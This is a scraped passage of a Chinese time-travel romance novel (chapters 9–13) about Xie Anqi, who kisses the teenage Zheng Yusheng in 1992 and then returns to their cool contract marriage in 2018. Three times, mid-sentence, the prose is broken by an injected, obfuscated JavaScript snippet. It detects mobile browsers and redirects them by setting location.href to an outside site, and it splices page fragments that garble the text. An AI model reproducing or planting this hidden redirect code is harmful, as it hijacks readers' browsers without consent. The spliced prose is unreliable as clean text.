看他一直这样油盐不进的样子,对于眼前这个年轻又俊秀的郑禹胜,谢安琪才不听他的解释,气势汹汹冲过来,凑上去伸手抓住郑禹胜的衣领,瞪着他眼睛说:“ 我要喝酒,酒怎么可能替代水呢?” 郑禹胜没动,由她拽紧自己衣领,冷淡淡地安抚:“我还要一个月才能去买酒,你有身份ID卡么?买酒要看的。”谢安琪停了一瞬,觉得好像确实是这样的。 两人的呼吸交织在一起,对方身上的温度慢慢侵蚀着肌肤,从指尖传递而来,谢安琪忽然觉得有些热,看着郑禹胜这么安静和配合的被她拽在怀里,两人越来越近的脸颊,让她竟一动不敢动。 郑禹胜在看着她,她也在看着他,夏夜蝉鸣不断,拨动少男少女的心弦,声音代替了热浪一波又一波的袭来,让她无法招架。 谢安琪一步也没有离开,散落的发丝黏在身上,胸前随着呼吸起伏,她呼吸起伏间,看到郑禹胜凸出的喉结,很轻地滚动了一下,配合着她的呼吸一下一下,然后,她重新看向郑禹胜的脸,还有他那十分勾人的唇,她听得到对方的心跳声。 谢安琪往前靠近了一分,郑禹胜没有离开,他看着谢安琪低垂着眼眸好像在决定这什么一样,很快,有看着他,“郑禹胜,你知道接吻是什么感觉?” 谢安琪的声音很微弱,却灼热,她知道但是她也想让郑禹胜知道。 虽然知道他和她是同一个人,但这一刻的冲动,是难得她能给郑禹胜青春期该有的姗姗来迟的青涩情感,两人越靠越近的时候,偷偷装满对方的心和思念也越来越沉重,想要拥有,会不满足,想要尝试些什么。 她说完后,明显感觉到郑禹胜停了一瞬,他主动伸手按住她后颈,气息压过来: “那不然,试试?” 10. 第 10 章 青春里经常会有一些控制不住的情况,在这个年纪里有着很是突然的青涩的冲动。 郑禹胜说完后,谢安琪也没有躲开,也没有拒绝,她只是她微微仰着脖子,感受到郑禹胜的熟悉又陌生的气息慢慢接近,有什么熟悉的柔软的东西碰触着嘴唇, 青春版的郑禹胜是谢安琪完全没有办法拒绝的,她乐于接受着他的靠近,就像是两人本来就是靠在一起的,两人的鼻尖凑在一起,潮热侵占了空调制冷的一切感官。 比起她跟郑禹胜刚结婚那晚的一切热烈,现在的他轻轻柔柔的让谢安琪的大脑真真实实空白了那么几秒,她才在心底明白一个事实,她又回到了九十年代,那个灿烂年轻的郑禹胜刚刚亲了她。 这个吻没有很久,就几秒,但结束后郑禹胜的手掌还覆在谢安琪后颈,没有松开,激烈的心跳在扰乱彼此的呼吸。 谢安琪跟郑禹胜本来就是夫妻,比起年轻版的郑禹胜还会克制,她的心里全是对郑禹胜的思念,很快她仰头将唇瓣重新覆压上去,她自主的双手坏绕着郑禹胜的脖子,整个人小心翼翼蹭住他肩膀的T恤布料,整个人连带着呼吸都在颤。 她轻轻的咬住郑禹胜的嘴唇,谢安琪抓着郑禹胜肩膀手指不自觉收紧,一个吻过后,谢安琪先退开,想要结束这个吻只是她才稍往后退,后背就被郑禹胜扣住。 她瞬间僵直身体,这次变成郑禹胜一手按着她的脊背,一手按住她后颈,抱着谢安琪把她往床边推去,覆身就吻了过来。 窗外的热风顺着没关上的窗户跑进来,还有夏季的蝉鸣一声一声的像是要把所有的潮热倾泻,热风一般拂过肌肤的鼻息交织在谢安琪身边。 原本谢安琪还不知道为什么郑禹胜会第一眼见到她就约她结婚,现在谢安琪明白了,她没有陪着他的时候,或者一直是他一个人在等着,也是如此现在他才会在这样热到要化成一摊水一般的时候,还紧紧的抱着她。 许久之后。谢安琪躺在郑禹胜怀里,听着耳朵下如鼓在响的心跳,还有头顶快震破耳膜的低沉呼吸声,她抬手扶着床边想要起来,却被郑禹胜面对面抱在怀里,她缓缓吐出一口气,鼻尖气息拂动郑禹胜头顶的碎发,她忍不住说:“郑禹胜,你好重。” 压在她身上快把她压死了,停顿几秒,郑禹胜松开谢安琪,支起上半身,不再把头靠在她肩颈处,整个人起身翻身去了床的另外一边,挡着不自然的变化。 谢安琪不知道郑禹胜有这么大反应,她还起身关上了窗户,整个人从他身后抱住他,整个人懒懒的贴在他身后,郑禹胜的心脏撞了一下。 “原来跟年轻的郑禹胜接吻这个感觉。” 谢安琪好似在很认真的评价,也像给这个时间的郑禹胜一个结论一般,“像是一个水嫩的橙子。“ ”……” 郑禹胜闭了闭眼,强忍住想把她嘴巴缝上的冲动,难道以后的他会很老么?? 夜深时分,谢安琪躺在自己房间的床上,翻来覆去睡不着,眼睛只要闭上,郑禹胜的脸就浮现在眼前。他炙热的呼吸,滚烫的力道,按着她的后颈用力亲吻—— 现在谢安琪想起来,都觉得面红耳赤。 她一直以为郑禹胜对这些事情都没什么想法,结婚这么久一直都没在海外拍摄,还以为他一脸正气,冷淡至极呢,没想到原来不是表面看上去那么冷淡啊,他也会有……冲动的时候,只是冲动的年纪会不一样么? 谢安琪觉得自己好像发烧了,脑袋晕晕,脸颊烫烫,整个人懒在床上都不想在动弹,郑禹胜已经回家好几个小时了,她也在家自己呆了好久好久,只会偷偷的想念郑禹胜,只是一时之间他也分不清自己到底喜欢哪一个郑禹胜,但现在……倒像是真的了。 她是真的喜欢郑禹胜了? 这个事情似乎答案也不重要,但这个人是她放在心里喜欢了千万次的。 想到这她羞涩地捂脸,把脸埋进枕头里,要命了,结婚的时候都没这么兴奋,为什么她会这么兴奋,今晚不用睡了。 另一边,郑禹胜也没好到哪里去,他回家就赶紧他去冲了一个冷水澡,把身体里的那股火强压下去,然后看到家里的橙子突然就生气了,他的脑子一下炸了。 什么“像是一个水嫩的橙子”? 他以后跟谢安琪在一起的时候,已经年纪很大了么? 郑禹胜烦躁地抓抓湿漉的头发,站在夜风里企图让自己冷静一点。 总归这一夜,两个人很有默契地失眠了。 次日,谢安琪准备出门的时候,看到走在外面的郑禹胜, 谢安琪看他长腿步子一步顶她三步,追着跑也追不上,最后还是气喘吁吁地拽住他胳膊,气都快喘不匀:“你腿长了不起吗,走这么快,我都差点追不上。” 郑禹胜没想到会在这见到谢安琪,他的第一反应是呆愣的,但仅仅只有一秒。他很快反应过来,说:“那你不喊我?光顾着跑着追我了?” “……” 谢安琪看着郑禹胜站在她面前依然还是这么高,生气的转身走去边上的楼梯,踩上去几个,才把郑禹胜拉倒身边,直视着他的眼睛,郑禹胜看着谢安琪气呼呼地眼神,而后看到谢安琪余光瞥到他另只手拎着的塑料袋,不出意外的被问道:“你买了什么?” 好吃的。“ 听到听到郑禹胜的回答,谢安琪瞬间睁大了眼睛:”你买了好吃的也不给我哦。” 郑禹胜反倒被她的表情惹笑了。他抬手捏住谢安琪的两颊,塑料袋顺着胳膊滑倒手肘,说:“怎么会不给你,刚买了几个橙子,你想喝橙汁还是吃?“ 橙子的香气从袋子里冲出来,直接在谢安琪的脸上扑来,她动动嘴巴,但是脸被郑禹胜捏着,说出来的声音也困在了一起,眼看是听不到答案,郑禹胜很快就放开了她。 谢安琪伸手拦住他的胳膊,整个人像是要挂在他身上一样靠着,手打开他拎着的袋子,圆滚滚的橙子真的很香,让她想起来和郑禹胜闪婚后的小半年,每天他都会拿新鲜橙子榨汁给她, 所以,果然是从这个时候开始吗? 只是谢安琪知道,在过去时间里经历的事情,未必她还能记住。 但,郑禹胜呢,他会记住吗? 谢安琪秉持着今日事情今日开心的理念。她半个头都靠在郑禹胜身边,没有在继续看,但是不知道想到了什么,她突然对郑禹胜问了一个很认真的问题。 “郑禹胜,亲亲会有橙子味道吗?” “……” 郑禹胜被她问的脑袋炸开,他真的不知道谢安琪脑袋里都在想什么。 他忍了忍,问谢安琪:“你不是要出门吗?” 话题根本不顺着谢安琪问的走,他只是静静看着谢安琪的脸,注意到她整个人脸颊红红的,看起来像是喝了很多酒一样。 “你喝酒了……” “怎么样?嗯?诶呀,被你发现了……” 谢安琪说话时候低头嘿嘿的笑起来,但是郑禹胜却是摇摇头,忍不住评价:“你太喜欢喝酒了吧,小心成为一个酒蒙子。” “……” 郑禹胜真的烦死人了。 注意到她的表情,郑禹胜忍俊不禁,之后看看四周,问谢安琪:“你现在去哪?” 他计划如果是要买什么东西,还能帮她去买了,她这个醉酒的样子,还不知能在外面走几步。 “不去了,我就是想去找你。” “那我送你回家。” “你家就在我家隔壁,我家也在你家隔壁。” “正好我还没吃,我去做饭,一起吃一点呢?” “我说不能,你就会不去吗?” 郑禹胜装作很认真地思考了一下,然后说:“当然不会。” 谢安琪早知道他会这么说,然后想起来家里还有几包泡面,煮泡面煮鸡蛋,好像也能简单吃一顿了。 跟着郑禹胜的步子,谢安琪基本是被他拉着回家,进屋就被他放在沙发上,眼看他准备煮拉面,立马点头:“我要吃鸡蛋,我不要吃泡菜。” “好。”郑禹胜不多说,调转身体把冰箱里他放进去的泡菜又塞回冰箱。 谢安琪翻身在沙发上呼呼睡起来。 谢安琪偶尔会睁开眼,冲郑禹胜修长挺拔的背影看过去,偶尔是年轻的,穿着简单背心的他,偶尔又是穿着休闲T恤的他,似乎是年轻的,又是年长的。 她一时间也分不清自己是还在1992年,还是回到了2018年? “你煮拉面,我要放鸡蛋,我想喝汽水,我想……” “你在说什么?” “好,都听你的。” 谢安琪觉得自己听到了不同的回答,是谁?谢安琪是觉得自己可能在梦里,梦里还骗她吗?只是骗你一下也没怎么。谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471769|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安琪冲郑禹胜修长挺拔的背影哼了一声。 算了,别管是哪个他,谢安琪知道自己都是喜欢的,自然心里不跟他计较。郑禹胜以为她是在做梦了,走在她身边停下,低头看她。明亮的阳光下,她那双漆黑的眼睛沉沉闭着,但也让他让人忍不住陷进去。 郑禹胜本来就是家境清寒困难,他最近住的屋子,这两个并邻的屋塔房都是谢安琪的房子,他现在还算不错的生活都是拖于谢安琪的帮助,不然他也没有办法攒下来大半的钱给父母送去,能从半地下的房子搬出来。 两人之间的距离并不远,郑禹胜伸手,轻轻按住谢安琪的头,整理她的头发,再调整空调的温度,也没有叫她起来,时间越来越久,最后喊她起来的声音,力道却没有很重。 谢安琪迷迷糊糊的睁开眼,额头差点撞上郑禹胜的胸膛。 “醒了。”郑禹胜说。 谢安琪点点头,但不止为何迟钝了片刻,心跳乱了一下。她被郑禹胜过于贴近的距离弄的心神不宁,他们之间的亲密和暧昧,只有谢安琪知道,没有什么不可,但又似乎有些不一样。 空调温度其实是合适的,但谢安琪感觉到不怎么顺畅的呼吸,这是感冒了? 她迷迷糊糊的吃着碗里的面条,郑禹胜吃饭时候不大爱说话,谢安琪也习惯了,也就偶尔跟他说那么一两句,也不管他应或者不应。 至于刚才梦一样的不同回应她也没觉得有什么不同。吃完饭,郑禹胜倒了一杯热水。谢安琪看着他拿出新买的药拆开,递给她,让她吞服。 “就睡了这么一会,你感冒了,得吃药。” 谢安琪把胶囊吞咽下去,没回答。她也不知道,醉酒睡觉竟然就感冒了,吃完药,她随便扯了个借口:“可能就是该感冒了。” “怎么会有这种理由。” 谢安琪像是松一口气,似乎很是庆幸,惹得郑禹胜忍不住皱起眉头。他疑惑地问:“你这是什么理由?” “是啊,我就是这样说啊,又没有什么特别的意义,知道和不知道又能怎么样吗?我又不吻你,你又不会感冒。”谢安琪说得特别认真,甚至还有理有据。 郑禹胜正在喝水,差点被这热水烫到,更烫的还是他乱跳的心脏。 谢安琪还在继续碎碎念着:“夏天感冒太难受了,我现在想吃冰淇淋也吃不了。”谢安琪继续放下水杯,手背掩着嘴唇清咳了一声,继续说:“那你现在离我远一点。” 郑禹胜:“也行。那等你感冒好了我们再见面吧。” 谢安琪:“……” 你有本事再说一次! 注意到谢安琪的表情,郑禹胜连忙补充,我会照顾你的。 …… 回去的契机很巧妙,谢安琪也没有注意。 只是在回去之前,两人看完电影在公交站附近。 郑禹胜在站台放下谢安琪,两人一块投币上车,习惯性坐在车辆最后一排。 首尔的公交车就永远开得不稳,经常晃晃荡荡,没想到现在也这样。 临近夜晚容易使人犯困,谢安琪把头往后仰,靠着塑料椅背,闭上眼睛小憩。 她的耳朵带着耳机,她和郑禹胜分享着同一副耳机,听着同一首歌,李孝丽每一声的吟唱,都在颤动她的心脏。 谢安琪睁开眼,偷偷转头凝视郑禹胜的脸,眼睛被刘海挡着,鼻梁异常优秀,。然后她把视线落在了郑禹胜微微闭着的唇上,很熟悉的唇形,让她看着的每一秒都是心跳裹挟着悸动,情绪有点肆无忌惮。 谢安琪朝郑禹胜靠近,只是郑禹胜个头太高,她最多只能够到他的脖颈一侧。她鼻尖的气息惊动了郑禹胜,郑禹胜缓缓睁眼,低眸看过来,可能是困倦的原因,他的声音听起来嗓音沉沉的,比平日低柔几分。 “做什么?” 谢安琪被他的声音变化惊讶,听到这只觉得心内一颤,谢安琪唇瓣动了动,很诚实地说:“你看起来,让人想亲吻你。” 郑禹胜用眼睫掩着暗沉的光,眼眸多被刘海遮挡,这会说话时候,他忍不住喉结轻滚:“我知道了。?” 谢安琪看郑禹胜已经醒了,忍不住再靠近一点,直接将郑禹胜往靠近自己的方向。 郑禹胜借力很自然的靠过来时,谢安琪对上他的视线,呼吸比吻陷落在他的耳朵里。 而炙热的吻,从回到家的瞬间就制止不住了。 11. 第 11 章 热。 炎热的围绕着身体,谢安琪皱眉,她不知道怎么会变成这样,感受不到一丝风。 空调坏了吗?就算首尔的夏天有这么热,难道是没有注意公告,这天这个时候就是关了空调吗! 谢安琪睁开眼,她看着周围,是这样的天气了,窗外的阳光好像很热烈的照着她的身子。 炎热,什么在燃烧着她的肌肤。是… 是郑禹胜的手,房间是看着非常简约的双人住屋,不是她的屋塔房? 等她反应过来才从趴着的状态起身,她在一次看着身边的人,脑袋空空的状态很快消失,她才反应过来,这是回到了2018年? 谢安琪坐在床上,她呆呆的看着眼前的人,并不是青春热烈的模样,但这样的成熟让她清楚的想起来现在的现状。 总结一下,就是她从1992年回来了。 虽然穿越原因未知。 虽然回来的契机也未知。 好像就是昨天,她给郑禹胜打电话,他说在海外参加活动,说自己抽不出空,预计结束之后才有时间。然后她挂了电话就睡着了。 所以在她于这个床上睡着醒来之间,她回到了过去?谢安琪似乎是理顺了现状,她轻呼一口气,手指拨动黏在脖颈处的零碎发丝。 她不喜欢这样检修,屋里的空调都终止了,临近中午时候,炎热和燥热带来难以忽略的燥意令人无法喘息,她觉得可能还没到修理好,她就被热呆了。 手机扔在床头,她探身要去拿,在动作开始前,郑禹胜就感觉的身边的人空荡荡离去,床体的变化让他醒来,第一眼就去看她在哪里。 郑禹胜确认她不是离开,整个人就落回去托着下巴看人,看她起身,看她去拉开窗帘,看她蹲下来抱着家里的猫,直到她要转身倏地闭眼假装睡觉。 这样炎热的午后,安静安静的环境里,一点点的动作都变得特别明显,谢安琪没有揭穿他,但总觉得线下的他跟那个穿着黑T,肩膀平直,背脊挺拔的青年时期也还是很像的。 总是有那种表情,困倦又冷淡的,也不知道在想什么。郑禹胜的假装没有持续多好,谢安琪把猫扔床上,猫踩着步子往郑禹胜所在的方向走来。 而谢安琪踏着拖鞋往客厅走去,家里只有她习惯穿拖鞋。郑禹胜是没有这个习惯的,她坐在客厅的沙发,手里拿着茶杯看着窗外葱茏植被在阳光下绿得发亮,云朵挂在远处的天上也极其蓝。日光从云间从从枝叶缝隙间筛落,她注意到他的身影。 不远不近的距离,谢安琪扭头看到郑禹胜。 诶,人起来了。 谢安琪笑着打招呼,两人看着相敬如宾的很。 模范合约夫妻。 几分钟后。 谢安琪换好衣服准备回宿舍了,她是在首尔读书,这学期申请到了宿舍,她就计划搬出去住,郑禹胜看着她收拾东西,人站在厨房导台手里动作不停,看着她的眼神也是时不时的,看着她忙碌的时候,他停下,眼皮微掀,狭长的眸望着在那收拾东西的人。 等谢安琪停下手,他又跟着忙碌起来,手里不知道在干什么,谢安琪一见他这样,就忙说:“嗯,我就回学校了,过段时间你是要去拍剧吗?” 听到她说话,郑禹胜手里洗水果的动作犹豫两秒,又重新动起来。 “你这是要做什么?怎么突然要回学校?” “学校很方便啊,楼下就是食堂还有便利店。” 就这么不爱在这呆着吗? 郑禹胜一时间也不知道该说什么,他做梦似乎又回到了以前,年轻的时候见到她也没见这么见外呢。怎么现在还是跟记忆里的完全不一样了。 “你在这做什么。” “做饭啊。” 郑禹胜手里拿烤面包,抹各种调料,切牛油果反正各种动作都不停的,把东西都一个个安排好,看她走过来,高出她许多的他,垂眸看了她一眼,拿了个草莓递给她。 屋内的阳光就这样落进来,给屋子里再次送上光亮,在他眼里看到的就是她和记忆里一样年轻的容颜。 那时候她是努娜,现在他成大叔了。 只是这种事情更像是他的一场梦,或者现在的她不是过去的她,这种事情说清楚了,郑禹胜想到着就无法开口,以至于两人的关系就靠着一纸合约来约束着。 “ 那你周末回来吗?” 在谢安琪第n次把轻车熟路地钻进箱子里的猫抱出去的时候,郑禹胜这样问着。谢安琪最后终于合上行李箱,她把猫抱着放在沙发上,她看着郑禹胜,这人也是奇怪,这么热的天穿着长袖长裤竟然也不热? 她现在只想赶紧回学校,开车还得停车,谢安琪也不想麻烦郑禹胜,她已经计划好坐地铁往学校走去了。 也是巧合,就在谢安琪想要出门的前几分钟,回复工作的空调就响了起来,就这样谢安琪便自觉地跑去开客厅的空调。 她其实就是嫌屋里热而已。 她不是担忧自己和郑禹胜之间有什么难沟通的事情,她对这个人多熟悉啊,从内到外。 只是他总是要出去拍戏,家里没人,谢安琪就独自在家也很无趣,还不如回学校。虽然也是单人的宿舍,但是这样的空间会让她觉得很舒适。 谢安琪就这样决定了,这个学期就去学校住了,反正这样他好些天没回来,也不是什么重要的事情。 她站在空调前吹着好不容易来的冷风,热得头昏脑胀的大脑再次拥抱了清醒。她转头,对不远处的郑禹胜笑:“你这是关心我吗?不用太在意的,你有自己很多的事情,我也有自己很多的事情。” 实在是太知道眼前的男人年轻的时候有多少难过的事情,但是她又不想把这样奇怪的遇见说出来。 就这样谁也不敢说。 但年轻的时候相遇。 相互爱的,相互十分珍惜着。 郑禹胜没回答,缓步走到谢安琪身旁,修长骨感的手指拿着遥控器,闲闲地抬起手拿着遥控器把温度调高几度,然后才回应她刚才的话,“那你就去做自己的事情。” “那肯定… 嗯… 好吧,就是这样” 没想到他真的没有特别说什么,谢安琪忍不住叹气,然后拿着水杯接水往沙发方向走,“我就在吹会空调再走。” 郑禹胜安静了会,才说话,让自己看起来不要太像追上去问:“ 我做饭呢,吃完午饭再去吧,我开车送你。” “真的吗?那我要吃豆浆面。还有煎午餐肉。” 实在是知道郑禹胜的厨艺,中式的菜他也不怎么会,虽然说他也去华夏内地拍摄了很多电影,但是还是不曾有谢安琪熟悉。 郑禹胜没有挨个回答她的问题,但手上的动作都没有听过,各种要准备的饭菜都一个个从备菜开始准备。 郑禹胜在厨房导台准备着各种食材,谢安琪坐在导台对面,她手里攥着一瓶酒,到了一杯,拿在手里晃悠着,眼神看着他的动作。 人就坐在那,看着郑禹胜的动作。 他很高,很瘦,这个时候比起记忆里还带着少年的青涩,更是一种视觉享受,突起的肩胛骨还是以前的弧度。刘海也总是贴在额头前,没有活动的时候,他也难做背头的造型。 他手里握着刀的动作熟练又显得漫不经心,但只要注意,就会发现他的视线总是在关注着谢安琪,偶尔谢安琪也会出神地看着他的动作忘记喝酒。 手指骨节分明,手腕关节骨骼凸出,手指还修长着很有美感。 注意到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471770|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的视线,自己发呆似地被发现了,谢安琪拿喝酒的动作掩盖着自己的情绪,单手背在身后,视线看了一圈,然后是端在她面前的洗好的水果。 他的动作很自然,多是做习惯了,中间许多年见不到她反而带着些填补了遗憾的感觉,让他的思绪较为重新回到满意的状态。 谢安琪很快调整好状态,她无法告诉郑禹胜,她在梦里清晰的回到了过去还跟他断断续续的谈着恋爱。 怎么听,都跟疯子的呓语一般,还是他误会她真的爱上了他,要依照合约让她赔违约金怎么办? 她可不想为了爱情掏钱。 算起来,这样的行为太不划算了。 谢安琪手里拿着红酒一点点喝完,在看着他做完午饭才起身去盛了两碗饭放在两人的面前,她靠着导台,面对着郑禹胜。 两人虽然没有挨着,但夹菜的时候,还是因为他会给她夹菜而两人手臂无意间贴上。时间很短,大约只有零点几秒就分开,光顾着吃的谢安琪毫不在意。 但注意到她的毫不在意,郑禹胜忍不住为自己因为短暂的碰触而乱了心跳感到不快,完全是自我检讨为什么因为微妙触感在皮肤上发酵而心也跟着颤抖。 谢安琪忽然停住吃饭的动作,似是不明地看着他,问:“午餐肉还要吗?不要我就吃了。” 郑禹胜眼神难说,他眨了眨眼,“你吃吧。” 谢安琪又不说话了,继续吃着。 而郑禹胜起身去拿什么回来,放在她身边,是她喜欢的家乡的饮料,就这样放下,靠近的动作,她都人感受到身旁人不断贴近的温度,和拂过脖颈似有若无的气息,她的呼吸不动声色地顿了一顿。 年轻有年轻的魅力。 成熟也有成熟的好处。 她是喜欢他的,但又不敢有什么动作,郑禹胜也管会演的,心里还带着不知道哪里来的气,更不会像以前跟她相处。 两人心里带着不同程度对对方的喜欢,但一点也没办法在对方面前展现。谢安琪注意到自己的情绪,她停下动作,与近在咫尺的郑禹胜对上视线。眉头微皱,似是在询问。 郑禹胜也放下东西就回了自己的位子,脸上表情看着,没什么特别。 “我就是看你喜欢这个,刚好看到买了点。” “不是特意的。” “你喜欢的话就多喝点。” 谢安琪听完,啊了一声后,点点头,再顺手抓起饮料打开喝了起来。 “非常感谢。” 郑禹胜:“……” 就这样,一顿饭是吃的各有心思。 谢安琪小时候就看过郑禹胜的电影,她还在说这两人差的年纪还挺多,她都不能回到过去跟他恋爱真是一大憾事。 他这样冷感却惹人注意的脸,喜欢他的人该有多少啊,人也是带着不少清冷和高傲,她真的见过年轻的他,反而又要把这些经历藏在心里。 这时候,郑禹胜拿过她放在桌上的酒瓶,红酒瓶在胳膊上碰了一下,谢安琪下意识躲开玻璃瓶冰凉触感,她没有抬头看着郑禹胜。 注意不到一闪而过的情绪。 等她在看过去,委屈早就没了,利落的五官表情淡淡的。两人对视须臾,谢安琪从桌面拿了一个新杯子给他,还说:“一起喝点?” 郑禹胜动动唇角,面上倒是看不出什么不耐情绪,他单手握着杯子,红酒的气息冲进去,像是唤起他的内心深处的热度。 熟悉的味道,她想起来,郑禹胜还是一直保持着抽烟的习惯。以前她还能闹着抱着他从他身上掏走烟,而现在她只能震惊但了然的把疑问放回心里。 看她没有什么动作,郑禹胜皱了皱眉,把时不时出现的猜测自我否认:“不了。” 12. 第12章 沉默。 没什么想说的。 郑禹胜手里拿着刀切着水果,但心里感受不到一丝开心。 他睡了一觉,又想起过去的事情。 他很好奇,见到年轻的他,谢安琪是连时间旅行这样幻想的事情都直接告知于他。 现在都结婚了,反而像是她完全没有经历过时间旅行一样。 从结婚到现在,她从来不提这个事情。 但是她本不就去过已经经历的时间吗? 本来就因为炎热天气而心情烦躁的郑禹胜这会心情更差了,也是从他结婚就没想跟她提时间旅行的事情,毕竟当时的她,似乎是真的不知道这个事情一样。 他自觉得自己还能和谢安琪一直在一起,是一件非常幸福的事情。今年是结婚的第三年,而这样的日子他从遇见她第一眼的时候就期待了,但直到现在才完成。 可能两人永远有这些年纪差都是必然的吧。 “ 要不你下午再回去?我开车送你。” 看她的动作停在那,似乎在研究到底在找什么东西一样,郑禹胜状似自然的提起来这个事情,两人之间的话题就这样开了头,也是了,以前是她说的多,现在是他说的多。 时间变化,过往都被燃烧掉每一寸。 偏是这样的年纪,偏遇上时间差异的对方。 郑禹胜站的地方背光,他躲在沉默的背后里还是走出来邀请她,谢安琪站在那,最后还是点点头走了回去。 找了个理由,谢安琪说自己晚上回去也行,预计天黑之后停车场也没那么多人,她只要在停车场下车,刷卡乘电梯去宿舍就好了。想到着,谢安琪轻呼一口气,手指搓了搓自己的额头,情绪也逐渐稳定下来,炎热带来的燥热原本令人无法喘息,但现在已经好了。 家里的猫跳进她的怀里,在她身上也只是短暂的暂停了一下,又踏着步子离开了,猫来了又走了,她的怀里空荡荡的,猫毛像是扬起的一片灰。 谢安琪看着猫离开的路线,刚好视线里就能看到郑禹胜,看到他进入视线,谢安琪视线移开又不经意悄悄看回去。 安静的环境里,两人说话次数不多。 直到… “我听说你这学期要申请实习了?” 大约是他没休息好疲惫,他表情困倦的很,连提起这个问题也好像并不在意一样。 他等着她的回答,谢安琪嗯了一会,似乎在思考这个问题。 “嗯… 对… 只是不知道应该选择哪个比较好,现在还是很犹豫很犹豫,NBS很不错,但是好像不好申请。” 不是?家里那么大一个娱乐公司是不知道吗? 郑禹胜越想心情越郁闷。 但是他又没有提起这个事情。 他的叉子在意面里转来转去,卷好一团意面侧放在碗里停留着,心情就跟以前学中提琴一样差不多,总是会先拉一些令人难过的音乐,而她,会说一些让他感到怪异的事情。 她竟然完全不考虑去KCL上班。 郑禹胜想说什么又欲言又止。公寓附近的树挺多,各种楼被郁郁葱葱的植被叠层遮挡,希望这些树能遮挡着他的情绪吧。而后不远不近的距离,谢安琪愈发注意他的表情。 几分钟后。 “我听说你们投了新的项目吗?电影拍摄的怎么样?这次还是跟之前的制片人合作吗?” 注意到他的情绪,谢安琪把话题往别的地方引导去,听到她的问题,郑禹胜吃饭的动作停下,眼皮微掀,狭长的眸淡淡望着她:“差不多,还是老合作人。” 那就是李正载吧,谢安琪一见到他,就忙说:“那就期待起来你的作品了。” 她还是关心我的吧。 郑禹胜吃饭的动作犹疑两秒,才重新吃着。 “那这次还是动作片吗?还是会有新的安排?计划书已经写好了吗?” “差不多,比动作片更复杂点,还有些悬疑的剧情。” 谢安琪听着,点点头,然后高出她许多的他,起身去拿了水,走回来垂眸看了她一眼,把东西放在她的桌面。 “ 说实在的,演员选了吗?很期待有我喜欢的演员出演啊,说实话,你告诉我有哪些演员呢?要不你别说,我来猜猜… ” 谢安琪很喜欢看电影,然后猜起来,一个个报人名,猜对了郑禹胜就点头猜错了他就摇头。两人猜起来这个事情,看起来对这个事情很是在意。 谢安琪转过头,刚才猫在猫爬架上跳起来有很大的声音。她连忙扭过头看过去,连带着跟郑禹胜的话题都卡住了。 说她不喜欢吗?也不是。 就是她对年轻版的郑禹胜什么都说,什么都做。但对于现在的他却不会特别跟他多交流, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471771|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是注意到这点,她转头,冲还在位子吃饭的郑禹胜笑:“你说咱们是不是特别心有灵犀,你拍的演员我都能猜到。” 郑禹胜没回答,缓步走到她的后面,修长骨感的手指捏着猫抱在怀里,走过来把猫放在她身边,然后然后才回应她刚才的话,“那就是你知道我的心。” “是吧是吧。” “没错。” 郑禹胜明显感受到现在的她和自己有一定的隔离,但具体的情况他又不会去说,大概也是担心有些话题说出来会有不好的结果吗? 大概是害怕现在的她和记忆里的她有太大的差异,想象差异是还算能接受的,但如果真的直面差异的事情会让他恐惧。 不知道是现在的她听不懂情话。 还是现在的他说出来的情话不动人了。 时间,果然是横在爱情里的一道坎。 …… 谢安琪虽然后知后觉注意到了,但是她也没有追上去问,比如说非要确定一下,你是不是在跟我说情话啊? 正常情侣或者夫妻可能会这样。 但现在两人之间总是隔着什么。 反正总是让人对过去的有些遗憾,但又不知道如何面对。 她坐在宿舍,想起刚才在地下停车场的事情。 郑禹胜开车带她来学校,路程不算长,但是因为她太困了就忍不住睡了会,到了地下停车场他也没有喊她,就一直等着,让她自己睡醒。 他坐在驾驶位,手一直搭在方向盘上,手指在随着时间推移而来回点着,像是替代秒表一样,一直在计算着时间。 谢安琪睡的迷迷糊糊,不算深度睡眠的,侧身靠着椅背,脖颈侧抬着,发尾略长,稍稍贴着脖颈。 郑禹胜看着她,不自觉地就熟练的整理着她的碎发,等她睡醒了也还是漫不经心继续弄着,手指骨节分明,眼神也一直看着她,但不是关注她的脸,而是看着她的头发。 似乎很在意她,又似乎并不在意。 谢安琪反而出神地看了他好一会,才借着咳嗽坐直,这才连着说些话,紧密的很。反正就是确认自己到了地方,她就开车门离开,拿着行李走了。 郑禹胜帮她把行李拿下来,看着她离开才回到车上,从口袋里拿了烟出来,但却没有吸烟,拿出来一根顿了顿又放了回去,随后开车,又回家了。 13. 第13章 距离上次见面,已经有些时间了。 谢安琪接到郑禹胜的电话,让她来酒吧,找时间两人一起离开。 